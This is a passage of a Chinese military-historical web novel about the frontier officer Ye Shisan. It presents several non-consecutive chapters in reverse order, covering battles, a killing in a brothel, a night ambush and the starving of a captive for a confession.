一声地动山摇的响动,震得所有人都捂住了耳朵。
不多时,远远看到二里地外,一股泥土卷着积雪冲天而起……
成功了?
叶十三放开捂着耳朵的双手,从地上站了起来,茫然地望向雪野……
第216章 那得杀多少鞑子?
不一刻,马肉喷香。
叶十三举起酒碗,目光一扫众将领。
“今晚破例,饮酒一次以示庆贺!”
之前,叶十三是严禁在军营饮酒,唯有这次例外。
“即刻起,本将脚下这片土地,归我大夏疆土属。”
叶十三把酒碗左右一亮,又道:“为我大夏扩疆充土,干了!”
眼中寒芒闪过的叶十三,扬起脖子,把一碗酒饮了个点滴不剩。
“将军,等开春后,我们就可打过沁目河了。”
周钊也意气奋发,举着酒碗也大放豪情。
叶十三目光一转,道:“打过沁目河,何必要等到开春?”
周钊一怔,随即又道:“元蒙吃了大亏,损了不少兵马,又丢了土地,肯定是再次集结大军,准备和我北防军决一死战,而且我军也需要一番休整。”
穆顺也站了起来,举着酒碗说道:“周将军言之有理,当下,我北防军还是死守此地,以防元蒙大军卷土重来。”
“哼!”
叶十三冷哼一声,眼里寒芒又起,沉声道:“就算元蒙不来收复失地,本将也要一鼓作气,打过沁目河去,最少让元蒙的两个盟部,归我大夏所有。”
此言一出,周钊和穆顺相视一眼,默不作声就仰头饮掉了自己碗中的酒。
其实,仗虽然是打胜了,但他们心里还是后怕不已。
要是运着这些粮草,退回黄羊岘防区多好?
一片只能放牧的地方,值得搭上大家的性命,派出足够数量的驻军占领它不成?
叶十三好像看穿了二人的心思,吃了一口马肉后,这又抬头说道:“这片土地,水草丰茂,我田兵可用来开垦种粮,顺我辖下元蒙百姓,也可学习农耕,屯田村边城贸易集市……”
“啊……”
这下,众将领可不淡定了。
叶十三不光是占领一处地方,而是要把打下来的区域,进行改造和统治。
这等野心,就是大夏皇帝,怕是都不敢有的。
当今朝中,巴不得元蒙不再生事,保持友邦局面就再好不过了。
谁想到这个奴籍出身的烽燧兵,却要让元蒙臣服?
“将军三思啊!”
周钊面颊一抽,急道:“元蒙地域广袤,我北防军兵马毕竟有限,战线一旦拉长……”
“哼!”
叶十三冷哼一声,打断了周钊后面想说的话。
目光冷冷一扫众将领,叶十三狠声又道:“我边民安分守己的时候,元蒙鞑子不照样骚扰不断,我北防军退回防区,难道元蒙大军就会善罢甘休?”
此言一出,军帐内的众将领们,纷纷一片窃窃私语。
将领们三三两两,脑袋抵在一起,小声交流着自己的看法。
叶十三嘴角闪过一丝诡异的笑,示意何秀儿给他把酒斟上。
何秀儿怕叶十三喝多了,犹豫了一下,就给叶十三面前的酒碗,只添了半碗。
“满上啊!”
叶十三狠瞪何秀儿一眼,道:“鞑子的酒,你也心疼?”
何秀儿的脸,一下子就红到耳根,小声说道:“战事如此激烈,将军还是少饮为好,万一……”
叶十三摆摆手,嘴角一拧,笑道:“要是不喝上几两,我还真没胆量,再度让大军向前推进。”
“啊……”
这话,不知道是即兴出口的玩笑话?
还是叶十三的真实想法?
就是众将领,也被叶十三的话,惊得合不拢嘴。
难道,趁着酒性壮胆,还要趁胜挺进?
“将军!”
穆顺不淡定了,站起来拱手道:“我军业已占领了这粮草大营,这里距大金盟部还有三十里路,将军不会是?”
后面的话,不说大家也知道。
就眼下这些兵马,要一举拿下大金盟部,恐怕会事与愿违。
再是血卫军手中的兵器厉害,再是元蒙大军溃败后逃散,但逃散的大军,还会重新聚集起来的。
而且,巴立盟部囤积的兵马,数量并不比这大金盟部的少。
大金盟部虽然归顺了元蒙,但不可能再向大夏投降。
何况,叶十三还杀了大金盟部木桑王爷的女婿那木儿。
这个仇,木桑王爷是放不下的。
对穆顺的话,叶十三却不以为然,目光一扫帐内,淡淡说道:“与其天天提心吊胆,怕鞑子杀过来,还不如主动杀过去。”
说着,叶十三狠狠撕扯了一口马肉,又道:“这些年鞑子对我大夏边城的骚扰,对我大夏边民烧杀抢掠无恶不作,这笔账,不得不算,该让他们付出利息的时候了。”
此言一出,军帐内年纪较轻的将领们,纷纷激动起来。
“末将愿随怀远将军杀过沁目河!”
一名宣节校尉满脸通红,仰脖就灌下了一碗酒。
叶十三嘴角微微一翘,冷声又道:“本将并非嗜杀之人,但凡归顺我大夏的鞑子,均以同胞相待。”
“将军三思啊!”
周钊慌了,赶忙拱手道:“非我族类,其心必异,那些鞑子好战成性,恐怕不易被我大夏驯化?”
叶十三斜瞥周钊一眼,道:“周将军此言差矣,好战者,乃是元蒙高层,普通百姓,哪个不愿意过安生日子?”
“可元蒙高层,未必就心甘情愿让我北防军占领此地!”
周钊心有顾虑,极力保持自己的观点。
“那就杀!”
叶十三的面,陡然冷了下来,嘴角一拧,咬牙又道:“那就杀到元蒙皇室,向本将跪地求饶为止。”
此言一出,军帐内顿时陷入一片死寂。
杀到元蒙皇室跪地求饶为止?
那得杀多少鞑子?
就凭他们这不足一万数的兵马?
此时,又有一名致果校尉站了出来,率先打破沉默,拱手道:“与其经常防备鞑子入侵,不如杀过沁目河,也好缓解其他防区的压力。”
穆顺也被这种情绪所感染,尤其想到十年前,自己差点死在那木儿的刀下。
眼下叶十三已经带着他们打到这里,光运一些粮草回去,这未免也太没意思了吧!
“将军,要想杀过沁目河,恐怕还得拿出新的部署才行?”
到底是老将,考虑事情比较周到。
“嗯!”
叶十三点点头,边吃边说。
“眼下,元蒙鞑子骑兵溃不成军,但数量还是不少,最少也有一万余兵数,依本将只见,趁他们还没归拢在一起,先把巴立盟的屯兵之地给夺了再说!”
周钊心头一惊,急道:“不是说,巴立盟和大金盟部,合起来在此屯兵集结的吗?”
“呵呵!”
叶十三摆摆手,道:“这边,只是他们从我黄羊岘防区入侵的路线,还有一批粮草和主力兵马,作为后援在巴立盟境内囤积着。”
“啊……”
此言一出,众将领愕然。
他们没想到,叶十三已经把防区以外的敌情,直接给摸透了。
“啪!”
叶十三把手里一块啃光了肉的马骨头,扔在桌上说道:“抓紧时间吃饭休整,半个时辰后,出征巴立盟部。”
第151章 剑拔弩张
“还请郡主明示!”
“监军大人,这是要为难我等了?”
“就是谭祖高死有余辜,他所犯罪责,于我等何干?”
“末将怀疑,郡主这是在我等摆了一道鸿门宴啊!”
“万川郡出了如此大事,如此拿我等开问,这等连坐,郡主您请奏朝廷了吗?”
几乎所有的校尉,都虎视眈眈,丝毫不惧香香郡主的监军身份。
“放肆!”
香香郡主硬起头皮,厉声斥道:“正因为万川郡出了如此大事,军中不能群龙无首,本郡主也好,监军也罢,都有责任履行职责规整军务。”
听明白了!
众将领这才明白,香香郡主借着整顿军纪,是要把这支三万兵马的大军,名正言顺地掌控起来。
最先向香香郡主发难的校尉,拱手一礼,缓缓说道:“按理说,该由朝廷降旨,任命一位能服众的德才之人,才可统领万川郡三万驻军,郡主越庖代俎,怕是有违背朝廷的制度之嫌?”
“放肆!”
苏哲见此人咄咄逼人,立刻站出来驳斥道:“好你个周大祥,事发突然,军情又紧急,这些你不是不知道,眼下战事一触即发,难道还要等上个把月,让朝廷派人下来统军不成?”
“苏校尉,你我之间,也算是旧识了,但军中之事,岂能如此草率?”
名叫周大祥的校尉,一点都不给苏哲这个老熟人面子,依然咄咄逼人毫不退缩。
苏哲面上一红,把目光又投向另外一名校尉脸上,拱手道:“穆顺,你说说,眼下元蒙鞑子大兵压境,随时都可向我大夏出兵,郡主身为监军,难道无权对万川郡驻军进行整顿?”
“这……”
穆顺面颊一抽,把目光又投向周大祥。
思忖片刻,讪讪说道:“周兄,苏老弟的话,也不是没有道理,这要是等到朝廷的任命下来,我军一盘散沙的局面,如何抵御元蒙大军?”
“那也得是文才武略,都能服众的将才来领军才行。”
周大祥一语道破天机。
就眼下军中,十个校尉里面,就他和穆顺的资历最深。
如果采用选拔制,那无疑是一场自相残杀的局面。
要是由这个乳臭未干的郡主来任命,那多少还是有些任人唯亲的嫌疑。
起码,校尉苏烈,是苏哲的亲胞弟,何况他最先倒向这个郡主,对于谭祖高的死,显得是一点都不足惜。
话已挑明,众将领目光纷纷看向香香郡主,齐齐抱拳,同声禀道:“还望郡主推举出一位德才兼备之人,才不辜负我等厚望。”
完了!
这帮人,等于把话挑得更明了。
所选之人,要是他们这些人不服,那也是白搭。
香香郡主迎着几十道欲射人穿的目光,心头不由得又是一阵慌乱。
搞不好,还真会出乱子的。
真要是搞到一发不可收拾的地步,不但她会受到父亲的责罚,而圣上也不会放过她的父亲肃王的。
好啊!
叶十三你这混蛋,坑是你挖给姑奶奶我的,那我就成全了你,看你如何收场?
“千户听令!”
香香郡主暴吼一声。
“末将在。”
叶十三应了一声,然后低下头来。
“现情况特殊,军情紧急,本监军任命你,暂且代管万川郡三万北防军,待日后本郡主禀明朝廷,再由朝廷另行安排。”
香香郡主不傻,她无权直接任命一支三万兵马的统帅。
作为郡主也好,监军也罢,提出暂且代管的意见,那也是无可挑剔的。
不料,此言一出,大厅顿时就乱了起来。
周大祥率先脸色一变,厉声道:“郡主莫不是拿万川郡三万北防军当儿戏?”
“且慢!”
穆顺也面色一寒,冷声道:“您贵为郡主,又是身负监军之职,在您眼里,难道这阿猫阿狗的,都能统帅这三万大军不成?”
阿猫阿狗?
你们这些鸟人,真不拿军粮当马料了?
叶十三笑了,笑得有些诡异。
缓缓上前一步,从背后放下手来在胸前一拱,道:“本千户见过各位将军了。”
“滚一边去!”
一瞥叶十三的样子,周大祥勃然大怒,像是受到奇耻大辱一样,指着叶十三上鼻尖骂道:“周某是再无能,也轮不到你这等货色瞎指挥。”
周大祥怀疑,谭祖高究竟是不是眼前这货杀的?
该不会是苏哲杀了人,香香郡主找个顶包的傀儡出来,目的就是掌控这三万兵马,从而拆解镇北王吕南庭在边城的实力?
与此同时,有着和周大祥同样想法的穆顺,倒是一脸笑意,偏着脑袋把叶十三上下打量一番,阴阳怪气地说道:“这猛一看,眉清目秀的,我老穆还以为是个娘们,这近一瞅嘛!原来是个小白脸,哈哈哈……”
这一笑,引得大厅里一片哄堂大笑。
突然,狂笑中的穆顺,声音见了鬼一样戛然而止。
众将惊讶地看到,穆顺的脖子上,已经被架着一把破铁条一样的刀。
再看握刀之人,正是身穿白板羊皮袄的叶十三。
没人看清叶十三是如何出刀?
那把破铁条一样的残刀,已经从叶十三的腰间出鞘。
要知道,穆顺那可是军中有名的快刀,不然如何从一名趟子手,一路混到骠骑校尉的位置。
这下,周大祥不淡定了。
作为一个征战多年的军伍,他知道这意味着什么?
看来,这小子没撒谎,谭祖高那个倒霉鬼,就是眼前这人杀的。
脖子一阵冰凉的穆顺,不禁失声问道:“敢问千户大人尊姓大名?”
被香香郡主方才称为千户的叶十三,微微一笑,缓缓说道:“不敢称尊,本千户贱姓叶,名十三。”
叶十三?
霎时,大厅上静得一片死寂。
仿佛都能听到每个人紧张的心跳。
良久!
周大祥抱拳一礼,沉声道:“兄台莫非就是黄羊岘防区千户,叶十三叶大人?”
“呵呵!”
叶十三爽朗一笑,淡淡说道:“在各位将军面前,十三还真不敢称大人。”
说着,叶十三从穆顺的脖子上,抽回了那把残刀。
顿觉肩上一轻的穆顺,随即抱拳一礼,惊道:“你真是岳大将军,从黄羊岘烽火台擢升军职的那个烽燧兵?”
“承蒙岳大将军抬爱!”
叶十三双手高过右肩膀,抱拳就是一个高礼。
说完,叶十三视线又转移到周大祥脸上,笑道:“敢问将军,通天驿镇军部,周钊将军你可认识?”
“嗨!”
满脸胡须的周大祥,一拍大腿笑道:“岂能不识?在下大祥,他是二祥,后来岳佟大将军给改名为周钊……”
其实,自打这些人一到郡衙大厅,叶十三一眼就看出来,为首的这个校尉,和周钊竟有八九分的相似。
反观苏哲、苏烈两兄弟,倒是貌若旁人。
望着眼前陡转的形势,香香郡主暗暗松了一口气。
苏哲也是,蹦到嗓子眼的一颗心,霎时就落回了肚里。
第148章 大胆,你们敢造反?
“呸!”
被气得浑身打颤的香香郡主,直接一口粘痰,就唾在谭祖高的脸上。
“找死!”
没想到眼前的女人,突然会来这一手?
勃然大怒的谭祖高,当即从身边的卫兵手里,夺过一把佩刀,直接架在香香郡主的脖子上。
“臭婊子!”
瞬间变得一脸杀气的谭祖高,咬着牙说道:“给脸不要的东西,你真因为你是天仙下凡?惹怒了老子,等老子享用完了,再赏给他们。”
这时候,叶十三笑了,笑得有些诡异。
“放下你的刀,一切还都好说。”
叶十三终于开口了,这是他进得绛云楼以来,主动说的第一句话。
“晚了!”
谭祖高怒目瞪向叶十三,道:“不知天高地厚的东西,这会怕了?”
怕你娘个蛋!
老子还就怕你怂了。
叶十三阴沉着脸,沉声道:“身为一个将军,如此强取横夺,你眼里,可有大夏纲纪王法?”
“哈哈哈……”
谭祖高仰头又是一阵狂笑,道:“你还知道大夏的纲纪王法?在这边城,老子就是王法,就是把你这等贱民杀上成百个,谁敢说一句老子的不是?”
说完,谭祖高把脸转向香香郡主,暴怒道:“老子改变主意了,今天就剥了你这身好看的皮来,给老子做个灯罩……”
怎么?
这谭祖高是要谋害香香郡主?
“噗嗤!”
谭祖高话还没说完,突然瞳孔一阵放大,握着刀的那只手,也垂了下来。
“当啷!”
被按在香香郡主脖子上的那把佩刀,随着谭祖高那只手的垂下,径直就掉在地上。
“啊……”
一名官员就像见了鬼一样,往后一跳惊叫道:“血,血,你,你敢杀大将军?”
此时,叶十三的手中,突然多了一把刀。
一把铁条一样,丑陋无比的刀,已经从谭祖高的前胸一直穿透到后背。
露出谭祖高后背的刀尖上,就像屋檐水一样,随即就喷出一条血流来。
“快拿下,这人向大将军行凶。”
另一个官员,已经被吓得面无人色,浑身哆嗦着向卫兵们吼叫起来。
叶十三一手握刀,一手从怀里掏出一面铜牌,吼道:“黄羊岘防区千户叶十三在此,谁敢妄想加害香香郡主意谋反,叶某人就是拼了这条命,也要将以下犯上的谋逆之徒就地正法!”
这一声吼,无异于惊雷当头炸响。
这女人,是前几天从京都才来边城的监军,肃王府上的香香郡主?
“扑通!”
方才还气焰嚣张,狐假虎威两个地方官员,霎时就双腿一软当场跪了。
谋逆之罪?
这可不是小事,要被抄家灭族的啊!
有卫兵见势不妙,悄悄从绛云楼溜了出去。
身材魁梧的谭祖高,被叶十三用刀穿过胸膛,此时口鼻已经渗出血来,但他庞大的身躯,却被叶十这样用刀挑着无法倒下。
一个掌控着三万北防军的骠骑大将军,就这样意外地被叶十三一刀所杀?
一个二品军职的将领,居然死在一个六品千户的手里。
一时间,绛云楼里的寻欢作乐的客人们,逃命一样纷纷下楼,争先恐后地夺门而出。
骠骑大将军被杀,这样炸裂的事情,谁还敢留在现场?
事发如此突然,两名魂飞魄散的地方官员,一时间也是懵了。
“来人!”
叶十三又是一声暴吼,留在绛云楼外面的苏哲,霎时就带着四个卫兵冲了进来。
“郡主,末将在……”
一句话还没说完,苏哲霎时就被吓得呆立当场。
叶十三嘴角闪过一丝冷笑,猛然抽回了手中的刀。
“轰!”
仰面倒下的谭祖高,从胸口的血洞里,一股血箭就冲天而喷。
“千户大人……”
几乎被吓呆了的苏哲,简直不敢相信眼前所见。
“此人调戏猥亵郡主不说,还拿刀威胁郡主的性命,末将只好将他杀了!”
叶十三指着地上已经气绝身亡的谭祖高,冷声又道:“速速禀报地方衙门,查明此人身份,如此以下犯上,定有谋逆之心,上报朝廷查他三代!”
“你,杀了他?”
就在这时候,回过了神来的香香郡主,吃惊地望着地上谭祖高的尸体,颤声就向叶十三一问。
“谁要是对郡主不规,末将就绝不让他得逞。”
叶十三说得轻描淡写,香香郡主却听得心头一惊。
看到地上血泊中的尸体,她霎时就明白了。
这混蛋!
居然给她设了个局。
而毫无防备的她,居然配合这混蛋演戏?
提前告诫她万不可透露身份,看来这是为了引谭祖高上套?
一个朝廷空降在边城的重要人物,就如此荒唐地让叶十三抓住机会,冠冕堂皇地给杀了?
一切都天衣无缝,撒泡尿的功夫,就把一个二品军职的武将统帅给砍了。
而这些,居然都是为了她?
为了她的清誉,为了她的人身安全,叶十三顺理成章地,杀了一个二品军职大将军。
心里越想越怕的香香郡主,此时知道覆水难收,一切都无法挽回了。
“都给本郡主拿下,一个都别叫跑了!”
香香郡主情急之下,指着跪在地上的两个地方官员,还有几个目瞪口呆不知所措的卫兵。
就在这时候,一队全副武装的兵马,扬起漫天的雪片,战马嘶鸣着就把绛云楼团团围住。
与此同时,一队步军,手执长枪飞奔而来。
霎时间,绛云楼就被两队兵马围得水泄不通。
“给我将凶手拿下!”
一声暴吼从门口响起,即刻就有几十名兵卒,挥着长枪短刀就冲了过来。
“大胆!”
叶十三横刀往香香郡主面前一站,吼道:“你们敢造反?”
心头一凛的苏哲,也抽出佩刀,把香香郡主挡在身后,迎着来人的目光吼道:“苏烈,郡主在此,不得无理!”
来人一怔,定睛一看,赶忙说道:“哥哥,真是郡主来了?”
虚惊一场,叶十三暗暗长出一口气。
苏哲目光看向地上谭祖高的尸体,痛心道:“万没想到,堂堂骠骑大将军,居然对郡主心怀不轨,而且对郡主兵刀上身,如此谋逆犯上,实属该死!”
“北防军万川郡驻军大营车骑校尉苏烈,参见郡主!”
苏烈倒握着刀柄,双腿一跪,拱手就向香香郡主行礼。
“你驻军大营将士们,平日就是如此花天酒地,强抢民女,无恶不作?”
香香郡主骑虎难下,只好依照谭祖高方才所为,对苏烈就怒斥起来。
“郡主明鉴啊!”
双膝跪地的苏烈,惊叫一声就急辩道:“万川郡驻军,向来军纪严明,大将军不住在大营,故……”
苏烈说了一半,就停下了话头。
但话外之音,在场的人都听明白了。
军营是军营,官邸是官邸,人家骠骑大将军住在城里,想干何事?
难道作为下属的将领们,还能管得着他们的最高长官谭祖高?
就在这时候,带领着一队步军的万川郡太守牛煜,进得绛云楼后,一脸惊慌地指着叶十三,向身后一名步军都尉吼道:“将黄羊岘防区千户拿下,火速派人告知通天驿军部岳佟……”
“敢问牛太守,叶千户何罪之有?”
香香郡主缓缓转过身来,目光冷冷看向万川郡太守牛煜。
只此一眼,牛煜就跪了。
“郡主,误会啊郡主……”
第137章 滚你娘的,这不是你该操的心
烽火?
难道鞑子偷袭?
不到三息时间,叶十三穿好革甲,已经冲出了屋门。
烽火台上,烈焰升空而起。
紧接着,吴六子和马成二人,也是同样穿戴夺门而出。
砸门的是紫伶。
这倒让叶十三有些意外。
来不及多问,叶十三目光看向吴六子。
“你的人,分三路,烽火台一路,问明情况。”
“第二路,即刻赶往岘口,与徐老六会合。”
“第三路,屯田村驻军大营,知会袁彪。”
吴六子狼一样吼了一声,即刻转身就去安排。
“马成,你带十人,增援烽火台,弓箭强弩准备迎敌。”
马成面上一凛,急道:“郡主这边?”
“滚你娘的,这不是你该操的心。”
“遵命!”
马成怪叫一声,背起箭筒,大手一挥,带着十名新卒,就向烽火台方向狂奔而去。
霎时间,后院里战马一阵嘶鸣,片刻后就冲出了营房栅门,在月光下扬起一阵雪泥。
此时,香香郡主也披挂停当,一脸紧张地跑出了屋子。
“何处来敌?”
一打照面,香香郡主张口就问。
“尚不明确,我已经派人去烽火台了解。”
“月色如此迷人,这些鞑子为何要破坏此等美景?”
香香郡主嘟囔一声,急急就往后院跑。
“你去哪干嘛?”
叶十一阵头大,忍不住就是一问。
“你傻呀!”
香香郡主脚步没停,回头又喊:“不骑马迎敌,难道两条腿跑着?”
草!
这还像回事。
叶十三心里一嘀咕,也就跟了过去。
“大人……”
刚转身迈步,紫伶张开双臂往前面一站,当即就拦住了叶十三。
要不是她方才报信有功的话,叶十三说不定一脚就会把拦着他是紫伶给踹飞出去。
当初在何家大院,月瑶拦着叶十三,反而把自己的一条小命都搭上了。
“让开!”
“大人……”
叶十三一声怒吼,以为紫伶怕他阻拦香香郡主出战。
紫伶浑身一抖,急道:“郡主她,她内急。”
草!
不早说,屎尿别急了哈?
叶十三一撇嘴,讪笑道:“你几个,好生在屋里待着,外边没你们的事。”
“大人,奴婢得跟着郡主。”
已经见惯了叶十三凶相的紫伶,怯声又道:“郡主身边,不能没有人跟着。”
上次涉险的事,至今让紫伶心颤不已。
香香郡主虽然脱险,但也是那次引起的火头,让叶十三的人把紫伶活活给打死。
如果没有香香郡主被鞑子掳去的事,就没有叶十三营救的事实,更没有郡主被冻麻了一只光脚想要泡热水。
热水被叶十三撞洒了,月瑶也由此送掉了一条命。
虽然月瑶该死,但她也是和自己一起,服侍郡主几年的伴儿姐妹。
如果郡主再出什么事?
那她这个侍婢,也就活到头了。
望着一脸惊慌的紫伶,叶十三口气软了下来,和蔼说道:“有本千户在,你就把心放肚里好了,打仗的事,有的是将士们去打,哪有让奴仆上战场的?”
叶十三虽然口气温和,但说出的话,那可是命令。
紫伶要是一意孤行,这就是抗命不遵了。
“奴婢,听千户大人的。”
嘴上如是说着,但紫伶的脚步,那可是没挪动半步。
与紫伶不同的是,屋里打地铺睡了的两个壮妇,此时紧紧地拥抱在浑身发抖。
铺了没多久的一条新毡,此时,已经被吓出来的尿水浸泡了个湿透。
忽然,叶十三又把目光,投向紫伶脸上。
“诶!你是如何发现烽火燃起?”
是啊!
都困成那样了,倒头就睡了过去的人,是如何发现烽火台上的示警烽火?
本来在月光下煞白的脸,被叶十三如此一问,霎时就红到了耳根。
“奴婢……”
紫伶低着头,迟疑一下又道:“奴婢内急,刚出屋子准备找地方方便,这一抬头,就看到……”
草!
这屎尿还立了功呢?
叶十三忍不住笑了,和蔼说道:“好生待着别乱跑,本千户回头赏你。”
就在这时候,香香郡主已经牵着两匹马出来。
草!
马鞍都备好了?
香香郡主人还没走到叶十三跟前,声音已经先到了。
“一个小小的千户,好大的架子啊!居然让本郡主给你这混蛋备马?”
草!
还讲理不?
明明你去拉屎撒尿,本千户一个大老爷们又不方便跟着。
这咋成了让你伺候我了?
叶十三摇摇头,苦笑道:“末将谢过郡主。”
“哼!”
香香郡主鼻孔冷哼一声,就地翻身上马,吼道:“还磨蹭到何时?难道还要本郡主扶你上马才是?”
“郡主息怒,末将这就出发。”
叶十三嘴里应承着,脚下已经射出几步,话音落下的时候,人已经稳稳骑在了马背上。
“岘口方向!”
叶十三怒吼一声,打马冲在前头。
不多时,两匹战马,已经冲上了营房侧面的沙梁。
“快看!”
紧跟身后的香香郡主,突然大叫起来。
其实,叶十三已经看到,十匹狂奔着的战马,从沙梁的那头向这边疾驰而来。
月光虽亮,但能见度还是远不比白天。
不对!
吴六子带的人,就是分成三路,每一路也超不过四人。
这是十人十骑,说明绝不是自己的探马。
思想间,十骑已经冲到眼前不足五六丈远。
真他娘的是鞑子。
不过,都是皮袍白身,不是元蒙的骑兵。
转眼间,迎面而来的十匹战马,突然五五分开,从叶十三和香香郡主的两侧而过,然后首尾相接,把二人围在中间。
“别慌,别乱动,原地待着,一切有我。”
“仓啷”一声,叶十三拔出那把残刀,低声叮嘱了香香郡主一句。
此时,香香郡主已经持剑在手,胯下战马,已经被缰绳引得直转圈儿。
“哈哈哈……”
包围着二人的鞑子,突然有人狂笑起来,惊喜喊道:“这娘们还是个军官,看她的战甲,那可不是一般的武将。”
“好极了,别弄死她,活捉了当人质,我们的人还被他们包围着的。”
“大家一起上,手下掌握好了,要活的。”
鞑子兴奋不已地喊叫,叶十三霎时就听明白了。
这些家伙们越境入侵,被驻军发现后包围了,这十人跑散后慌不择路,这才和他与香香郡主相遇。
想活捉老子?
你他娘的睡醒了没?
就是你们嘴里的这个娘们,老子更不能让你们这些杂碎给弄走。
叶十三笑了,笑得有些诡异。
倒是香香郡主的呼吸,粗重得就像牛喘一样。
一听身份被识破,她霎时就慌了。
十把弯刀,已经齐刷刷举起,在月光下泛着一片令人不安的冷光。
“都听好了,大伙一起上,抓活的。”
随着一名鞑子的疯狂喊叫,另外九名鞑子,更是仰头狂笑不止。
十匹战马,首尾相接,不停地围着叶十三二人,在沙梁的雪地上疯狂转圈。
第78章 老子再敲他一笔银子
“好香的肉,趁热吃。”
叶十三抓起大块的羊肉,一个劲地就往嘴里送。
霎时间,咀嚼声,吞咽声,喝肉汤的咕嘟声,一下子就交织在一起。
“给我……一口……吃的……”
被折叠着卡在椅圈中的贾迎福,虚弱地又是一声哀求。
叶十三只顾大口吃肉,大声说话,其他人也是一样大快朵颐,没人理会贾迎福的苦苦哀求。
“白面馒头来啦!”
出去了一会的马成,又端了一箩热气腾腾的白面馒头进来。
“吃啊!白面馒头夹大酱,香破头哩。”
马成吆喝着,给大家的手里分发着白生生的大馒头。
上次从镇上回来,不但买了盐巴和茶叶,而且还买了不少的大蒜和整坛的大酱。
炖羊肉的香味,热馒头夹着大酱的独特味道,让大吃二喝的探马们食欲又是一阵扩张。
“叶……大人……给口……吃的吧……”
两眼无神,面色土黄,有气无力又是一声哀求的贾迎福,极度的饥饿感,瞬间就摧毁了他拼死坚持着的意志。
“饿了?”
叶十三抬起头来,笑着望向桌前地上的贾迎福。
贾迎福被卡在椅圈中动弹不得,那样子狼狈得无法言说,只听他虚弱地又哀求道:“给……口……吃的……我全说……”
叶十三把一口炖得糯烂的羊肉咽了下去,嘴角一拧,笑道:“老子可没逼你招供,说与不说,对老子来说已经没多大作用了。”
说完,叶十三又端起一碗漂浮着一层肥油的肉汤,低下头来就着夹了大酱的白面馒头喝了起来。
“叶大人……我全说……求您……给口吃的……”
折成了曲尺一样的贾迎福,虚弱地又是一声哀求。
杀人诛心啊!
这叶十三煮了羊肉,坐在那里大吃二喝的,贾迎福却被差点折断了脊梁骨,就像一条虫子一样苦苦哀求着。
“来人,烤肉,把酒拿来!”
喝完了一碗羊汤的叶十三,拿手背一抹嘴,又让手下烤肉,而且还要喝酒。
一听有酒,探马们又是一阵兴奋。
上次何秀儿出嫁,徐才送来的一坛酒,喝剩的坛底应该还能刮出一两碗来。
不一刻,马成抱着酒坛过来,站在桌前摇了摇,欣喜地说道:“大人,坛底还有酒,应该还能倒出一碗来。”
已经有探马,把另外半只羊架在木炭火上,撒上了盐巴烤得滋滋冒油。
酒香味,烤肉味,又一股脑儿地往贾迎福的鼻子里钻。
别说是有东西吃了,就水都没给喝一口是贾迎福,干裂着嘴唇又是一阵蠕动,拼足了浑身的气力,虚弱哀求起来。
“求大人了……给口吃的……吧……我全说……”
话音一落,叶十三把视线从正在往出倒酒的坛口离开,不耐烦道:“喊喊喊,喊个俅,藏肚子里带入土中多好,说它出来干嘛?”
骂了一阵,叶十三不耐烦地摆摆手,向马成说道:“看来,贾掌柜不喜欢坐椅子,那么就把椅子给拆了吧!”
马成阴阴一笑,拿了一把斧子,从椅子的靠背处劈了几下,就把只剩个椅圈的椅架子给拆散了。
这一通操作,惊吓得贾迎福又昏死过去。
要是马成的手稍有一丝差池,斧子就会砍到贾迎福后背的脊梁骨上。
拿掉了散架的椅子,昏死过去的贾迎就像一条蛆一样瘫在地上。
也许是地面太凉,不大时候,贾迎春又醒了过来。
“给口吃的……”
挣扎着抬起头来的贾迎福,浑浊的目光看向叶十三,有气无力地又是一声哀求。
“行了!”
叶十三似乎被贾迎福嚷嚷烦了,把手一扬,道:“给贾掌柜一碗肉汤,再拿一个馒头让吃。”
话音一落,马成找来一个豁口大碗,从炖肉的汤锅里舀了一碗肉汤,又抓过一个馒头,放在贾迎面前的地上。
看到眼前的肉汤碗,贾迎春浑浊的眸子里霎时就腾起一丝光亮,往前一爬,一手端碗,一手抓着馒头,眨眼间就把一碗肉汤和一个馒头吃了个精光。
斜瞥一眼贾迎福眼巴巴的样子,叶十三道:“没饱?”
贾迎福点点头,挤出两滴浑浊的老泪,愧声应道:“求大人再给点。”
叶十三一摆手,马成又拿过一个馒头扔在贾迎福面前,然后汤勺在锅底狠刮了一下,把一勺带着肉渣的浓汤添进贾迎福面前的碗里。
在地上趴着的贾迎福,就像一条狗一样,把馒头吃得渣都不剩,把汤碗舔得比狗舔过是还要干净。
“大人,您想知道什么?小的全说给大人听。”
两碗肉汤,两个大馒头下肚的贾迎福,身上也有了些气力,仰起头来望向叶十三。
叶十三嘴角一扬,冷笑道:“老子吃饱喝足,这瞌睡就来了,你要是实在想说,那就写纸上吧!老子还真懒得听你啰嗦。”
这话,精于世故的贾迎福哪能不懂?
一旁的吴六子,把早已准备好了的笔墨纸砚放在桌上,让贾迎福坐下来慢慢写。
此时的叶十三,已经爬上了火炕,拉过枕头就呼呼大睡。
……
天还没亮,叶十三已经洗漱完了。
马成早已把昨夜吃剩的烤肉热了,就着馒头和刚煮的茶,二人又是一顿饱餐。
“大人,马早都喂了,何时出发?”
叶十三从手上的供词上移开视线,望了一眼外面的天色,道:“既然收拾完毕了,那就早一点出发。”
说完,叶十三把贾迎福亲手写下,又按了手印的供词,往怀里一揣。
出了营门,落后叶十三半个马身的马成,道:“大人,这份供词要是交给军部,不但周敬堂那老东西完了,军部还能嘉奖大人一笔银子,最少二百两是有的。”
“说不定,会和那六个鞑子脑袋的奖赏,一起发给咱们的。”
马成满脸都是兴奋之态,急着又补充了一句。
叶十三嘴角一拧,道:“干嘛交给军部?把它直接给周敬堂难道不香吗?”
交给周敬堂,脑子没傻吧?
把罪证交给犯罪嫌疑人,这是几个意思?
马成一头雾水,面颊一抽,再没敢问多余的话来。
一路无语,两匹战马迎着晨曦一路向东狂奔而去。
快到通天驿镇的时候,叶十三放慢了马速,抬头望了一眼刚升起的太阳,道:“老子再敲他一笔银子。”
第51章 这他娘的就是个坑
二天大早,营房就被人围堵了。
叶十三带上马成,匆匆下了烽火台。
“千户大人,是各烽火台的伍长们。”
待走近一些,马成认出了围堵在营房栅门外的那群人。
以黄羊岘烽火台为主,东西各分布着另外九座烽火台,是同属一个管辖机构。
“这帮家伙来得挺早,看来天不亮就出发了?”
马成嘟囔着,又道:“可能是前来报道,要参见千户大人您的。”
待走到跟前,叶十三看到的,却是一张张目光轻蔑,傲气十足的脸。
看着这些人和讨债鬼一样的嘴脸,叶十三顿时急急皱起了眉头。
“诸位来了?”
马成挤出一脸的微笑,拱手又道:“还不赶快见过千户叶大人?”
不用马成介绍,这些人猜都能猜得出来眼前之人是谁?
这一线的烽燧兵们,相互都认识,大多都是附近几个村里出来的人。
